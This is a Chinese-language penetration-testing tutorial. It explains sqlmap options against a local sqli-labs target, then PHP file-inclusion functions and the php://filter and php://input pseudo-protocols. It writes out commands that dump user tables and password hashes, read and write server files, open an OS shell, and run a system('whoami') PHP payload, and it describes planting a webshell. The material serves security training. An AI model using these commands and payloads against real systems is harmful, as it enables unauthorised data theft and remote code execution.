2.sqlmap
1.Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。
2.Sqlmap全面支持六种SQL注入技术:
基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
联合查询注入:在可以使用Union的情况下的注入。
堆查询注入:可以同时执行多条语句时的注入。
带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。
3.sqlmap输出级别:
使用 Sqlmap 对一个注入点进行测试时,可以使用 -v x 参数指定回显信息的复杂度,x范围为[0~6],共有 7 个等级,默认为 1。
0:只显示python错误以及严重的信息。
1:同时显示基本信息和警告信息。(默认)
2:同时显示debug信息。
3:同时显示注入的payload。
4:同时显示HTTP请求。
5:同时显示HTTP响应头。
6:同时显示HTTP响应页面。
如果想看到 Sqlmap 发送的测试 payload 最好的等级就是3,例:
sqlmap.py -v 3 -u "http://www.xxx.com/a.php?id=x"
4.SQLMap使用:
1、判断是否存在注入:
假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1,判断其是否存在注入的命令如下:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1
当注入点后面的参数大于等于两个时,需要加双引号,如下所示。
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1&uid=2"
运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:
第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;
第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;
第三处的意思是参数id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。
可以在语句后面加参数:--batch 会选定默认的选项执行(如上)。
2、判断文本中的请求是否存在注入:
从txt文件中加载HTTP请求,Sqlmap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等),txt文件中的内容为Web数据包,
判断是否存在注入的命令如下,运行后的结果如图所示,-r一般在存在cookie注入时使用。
sqlmap.py -r 1.txt
3.查询当前用户下的所有数据库:
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,如下所示。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有数据库
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
当继续注入时,--dbs缩写成-D xxx,其意思是在xxx数据库中继续查询其他数据。
4、获取数据库中的表名:
该命令的作用是查询完数据库后,查询指定数据库中所有的表名,如下所示。如果在该命令中不加入 -D参数来指定某一个具体的数据库,那么Sqlmap会列出数据库中所有库的表。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security --tables
当继续注入时,--tables缩写成-T,意思是在某表中继续查询。
5、获取表中的字段名:
该命令的作用是查询完表名后,查询该表中所有的字段名,
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users --columns
在后续的注入中,--columns缩写成-C
6、获取字段内容:
该命令是查询完字段名之后,获取该字段中具体的数据信息,如下所示。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users -C username,password --dump
这里需要下载的数据是 security 数据库里 users 表中 username和password 的值
7、获取数据库的所有用户:
该命令的作用是列出数据库的所有用户,如下所示。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --users
8、获取数据库用户的密码:
该命令的作用是列出数据库用户的密码,如下所示。如果当前用户有读取包含用户密码的权限,sqlmap会先列举出用户,然后列出Hash,并尝试破解。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --passwords
9、获取当前网站数据库的名称:
使用该命令可以列出当前网站使用的数据库,如下所示。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db
10、获取当前网站数据库的用户名称:
使用该命令可以列出当前网站使用的数据库用户,如下所示。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-user
四、SQLMap进阶:参数讲解
1、--level 5:探测等级
参数--level 5指需要执行的测试等级,一共有5个等级(1~5),不加 level 默认是1。5级包含的 Payload 最多,会自动破解出 cookie、XFF等头部注入。当然,level 5的运行速度也比较慢。
这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie 在 level 为2时就会测试,HTTP User-Agent/Referer 头在 level 为3时就会测试。总之,在不确定哪个 payload 或参数为注入点时,为了保证全面性,建议使用高的 level 值
2、--is-dba:当前用户是否为管理权限
该命令用于查看当前账户是否为数据库管理员账户
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --is-dba
3、--roles:列出数据库管理员角色
该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色:
4、--referer:HTTP referer头
Sqlmap 可以在请求中伪造 HTTP 中的 referer,当--level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗,
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --referer 百度一下,你就知道
5、--sql-shell:运行自定义SQL语句
该命令用于执行指定的SQL语句,如下所示,假设执行select * from users limit 0,1语句,如下所示:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --sql-shell
6、--os-cmd,--os-shell:运行任意操作系统命令
在当前用户有权限使用特定的函数的前提下,如果数据库为MySQL、PostgreSQL,Sqlmap会上传一个二进制库,包含用户自定义的函数sys_exec () 和sys_eval (),那么创建的这两个函数就可以执行系统命令。
如果数据库是微软 SQL Server时,Sqlmap通过存储过程 xp_cmdshell 来执行任意命令,如果 xp_cmdshell 被禁用(SQL Server 2005及以上版本默认被禁用),则Sqlmap会重新启用它;如果不存在,会自动创建。
用--os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(如PHP或ASP+Mysql),仍然可以使用 INTO OUTFILE写进可写目录,创建一个Web后门。
Sqlmap支持ASP、ASP.NET、JSP和PHP四种语言(要想执行该参数,需要有数据库管理员权限,也就是--is-dba的值要为True)。
1.执行系统命令:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-cmd=ipconfig
执行后根据提示选择网站语言,然后回车,指定目标站点根目录,然后继续回车即可完整执行命令。
2.执行shell:
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
执行后根据提示选择网站语言,然后回车,指定目标站点根目录后回车,输入命令即可执行。
执行命令后会在网站根目录上传两个文件:tmpbxbxz.php、tmpuoiuz.php(此文件为上传页面)
7、--file-read:从数据库服务器中读取文件
该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或MicrosoftSQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-read "C:/11.txt"
执行完会把文件保存到本地目录下
8、--file-write --file-dest:上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-write "C:/1.txt" --file-dest "C:/windows/Temp/1.php"
执行结束即可把本地的1.txt 文件上传到目标服务器下
3.伪协议
伪协议常常用于文件包含漏洞之中。在php中能够造成文件包含的函数有include、 require、
include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile
1.include函数
可以放在PHP脚本的任意位置,一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时,才将它包含并尝试执行。这种方式可以把程序执行时的流程进行简单化。当第二次遇到相同文件时,PHP还是会重新解释一次,include相对于require的执行效率下降很多,同时在引入文件中包含用户自定义函数时,PHP在解释过程中会发生函数重复定义问题。include载入成功后,返回1,失败则返回false。
2.require函数
require函数一般放在PHP脚本的最前面,PHP执行前就会先读入require指定引入的文件,包含并尝试执行引入的脚本文件。require的工作方式是提高PHP的执行效率,当它在同一个网页中解释过一次后,第二次便不会解释。但同样的,正因为它不会重复解释引入文件,所以当PHP中使用循环或条件语句来引入文件时,需要用到include。require载入成功返回1,失败无返回值。
3.include_once和require_once函数
分别与require / include作用相同,不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过,如果导入过了,那么便不会再次重复引入其同样的内容。
4.highlight_file函数
highlight_file() 函数对文件进行语法高亮显示。
语法:highlight_file(filename,return) —— filename:必需。要进行高亮处理的 PHP 文件的路径。return:可选。如果设置 true,则本函数返回高亮处理的代码。
该函数通过使用 PHP 语法高亮程序中定义的颜色,输出或返回包含在 filename 中的代码的语法高亮版本。如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。否则,若成功,则返回 true,失败则返回 false。
5.show_source函数
该函数是highlight_file函数的别名。
6.file_get_contents函数
file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
7.file函数
file() 函数把整个文件读入一个数组中。与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。
php伪协议:
file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入输出流
zlib:// 压缩流
data:// 数据
ssh2:// security shell2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径
2.1 php://filter
php://filter常用于读取文件/源码,可以尝试利用php伪协议。来进行获取数据。
使用方法:php://filter/filename=1.txt
利用php://filter(本地磁盘文件进行读取)来过滤筛选文件。如果包含的文件是非php语法的话,直接输出源码内容。
如果不需要去执行php语法的文件,只是想要查看php源码的话,这时候可以先将文件进行base64编码后再传入include函数,这样就不会被认为是php文件了,因此也不会被执行。并输出文件的base64编码,再将输出的base64编码解码后即可得到文件的源码。
2.2 php://input
php://input协议是将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可。可以直接读取到POST上没有经过解析的原始数据,可以利用php://input 读取POST数据。但是使用enctype="multipart/form-data"的时候php://input 是无效的。
使用用法:
2.2.1 利用方式一:php://input(读取POST数据)
php://input可以直接读取到POST上没有经过解析的原始数据,可以利用php://input读取POST数据。
利用条件:不需要开启allow_url_fopen,不需要开启allow_url_include
使用:php://input + post 输入内容
2.2.2 利用方式二:php://input(命令执行)
利用条件:php配置文件中需开启allow_url_include,allow_url_fopen不需要开启。
如果POST发送的数据是PHP代码,就可以造成任意代码执行,如果此PHP代码调用了系统函数,就可以进行命令执行。如尝试输入一句话php代码:<?phpsystem('whoami');?>
看是否成功执行了系统命令
2.2.3 利用方式三:php://input(写入木马)
利用条件:php配置文件需开启allow_url_include,allow_url_fopen不需要开启。
如果POST发送的数据是PHP代码,就可以造成任意代码执行、写入木马。写入一句话木马,发现写入成功。(前提要有写入权限)